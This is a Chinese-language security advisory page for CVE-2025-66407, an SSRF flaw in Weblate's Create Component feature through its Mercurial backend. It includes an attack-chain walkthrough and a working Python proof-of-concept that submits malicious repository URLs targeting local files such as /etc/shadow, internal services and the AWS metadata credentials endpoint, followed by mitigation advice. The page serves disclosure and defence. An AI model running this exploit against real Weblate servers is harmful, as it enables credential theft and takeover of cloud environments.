IPBUF安全漏洞报告
English
CVE-2025-66407 CVSS 5.0 中危

CVE-2025-66407: Weblate Create Component组件存在SSRF服务器端请求伪造漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-66407
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Weblate

相关标签

SSRF服务器端请求伪造WeblateCVE-2025-66407Mercurial文件枚举云环境渗透本地化工具

漏洞概述

Weblate是一款基于Web的开源本地化翻译管理工具。CVE-2025-66407漏洞存在于Weblate的Create Component(创建组件)功能中。该功能允许授权用户在指定版本控制系统和源代码仓库URL后拉取翻译资源。然而在5.15版本之前,Weblate对用户输入的repository URL字段未进行充分的验证和清理,存在严重的安全缺陷。攻击者可以通过构造恶意的URL地址,利用Mercurial版本控制系统触发Weblate发起任意请求,包括访问localhost、局域网内部服务、云环境元数据接口等。由于Weblate会返回完整的HTTP响应内容,攻击者可以获取目标服务的敏感信息,在云环境中甚至可能导致凭证泄露和整个环境被完全接管。此漏洞需要攻击者拥有Weblate的低权限账户即可利用,无需特殊用户交互即可完成攻击。

技术细节

漏洞根源在于Weblate的Create Component功能对repository URL参数缺乏输入验证。当用户选择Mercurial作为VCS后端并提供URL时,Weblate会直接使用该URL发起HTTP/HTTPS请求,并返回完整的服务器端响应内容。攻击者可以构造以下类型的恶意请求:1) 使用file://协议访问本地文件系统文件,通过错误消息区分文件是否存在,实现目录遍历和信息探测;2) 使用http://localhost或内部IP(如10.x.x.x、192.168.x.x)探测内网服务;3) 在AWS/GCP等云环境中访问169.254.169.254等元数据端点获取IAM凭证。与Git后端不同,Git后端已实现file协议拦截且不会在错误消息中暴露响应内容,而Mercurial后端完全缺少这些安全防护。攻击者利用此漏洞可以探测内网拓扑结构、读取敏感配置文件、获取云服务凭证等。修复方案在5.15版本中增加了URL白名单验证机制,限制了可访问的协议和地址范围。

攻击链分析

STEP 1
步骤1
攻击者获取Weblate平台的低权限用户账户(如translator角色)
STEP 2
步骤2
登录Weblate后访问Create Component功能界面
STEP 3
步骤3
在版本控制系统选择框中选择Mercurial(关键:Git后端不受影响)
STEP 4
步骤4
在Repository URL字段中构造恶意URL,如file:///etc/passwd或http://169.254.169.254/latest/meta-data/
STEP 5
步骤5
提交表单后,Weblate的Mercurial后端会直接使用该URL发起请求并返回完整响应
STEP 6
步骤6
通过响应内容判断文件是否存在,或获取内网服务/云元数据的敏感信息
STEP 7
步骤7
如获取到云凭证,可进一步横向移动获取更多资源权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-66407 PoC - Weblate SSRF via Mercurial VCS # Target: Weblate < 5.15 with Mercurial backend enabled def exploit_weblate_ssrf(target_url, auth_token, component_name): """ Exploit Weblate SSRF vulnerability through Create Component functionality """ # Test cases for different attack vectors attack_vectors = [ # Local file enumeration {"url": "file:///etc/passwd", "description": "Read local passwd file"}, {"url": "file:///etc/hostname", "description": "Read hostname"}, {"url": "file:///etc/shadow", "description": "Attempt to read shadow file"}, # Internal network probing {"url": "http://localhost/admin/", "description": "Probe localhost admin interface"}, {"url": "http://127.0.0.1:22/", "description": "Probe SSH service"}, {"url": "http://192.168.1.1/", "description": "Probe internal router"}, # Cloud metadata service (AWS example) {"url": "http://169.254.169.254/latest/meta-data/", "description": "AWS EC2 metadata"}, {"url": "http://169.254.169.254/latest/user-data/", "description": "AWS EC2 user data"}, {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "description": "AWS IAM credentials"}, # Internal API endpoints {"url": "http://10.0.0.5:8080/actuator/env", "description": "Spring Boot actuator"}, {"url": "http://10.0.0.10:9200/_cat/indices", "description": "Elasticsearch indices"} ] results = [] headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } for vector in attack_vectors: payload = { "name": component_name, "slug": component_name.lower().replace(" ", "-"), "vcs": "mercurial", # Key: Mercurial backend exposes response "repo": vector["url"], # Malicious URL "push": "", "repobranch": "main" } try: response = requests.post( f"{target_url}/api/components/", headers=headers, json=payload, timeout=10, verify=False ) result = { "target": vector["url"], "description": vector["description"], "status_code": response.status_code, "response_length": len(response.text), "vulnerable": response.status_code != 400 } # Check for file existence via error message differentiation if "file:///" in vector["url"]: if "No such file" in response.text or "not found" in response.text.lower(): result["file_exists"] = False else: result["file_exists"] = True result["leaked_content"] = response.text[:500] results.append(result) except requests.RequestException as e: results.append({ "target": vector["url"], "error": str(e) }) return results # Example usage if __name__ == "__main__": target = "https://vulnerable-weblate.example.com" token = "your-auth-token-here" component = "MaliciousComponent" print("[*] Testing Weblate SSRF vulnerability...") results = exploit_weblate_ssrf(target, token, component) print(json.dumps(results, indent=2))

影响范围

Weblate < 5.15

防御指南

临时缓解措施
作为临时缓解措施,管理员应在Weblate配置文件中将Mercurial从VCS_BACKENDS配置项中移除,仅保留Git等其他安全的版本控制系统。具体操作:在weblate配置文件中设置VCS_BACKENDS = ('weblate.vcs.git.Git', 'weblate.vcs.remotes.Gerrit'),移除weblate.vcs.mercurial.Hg。同时建议在网络层面限制Weblate服务器访问内网IP段和云元数据地址段(如169.254.0.0/16)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表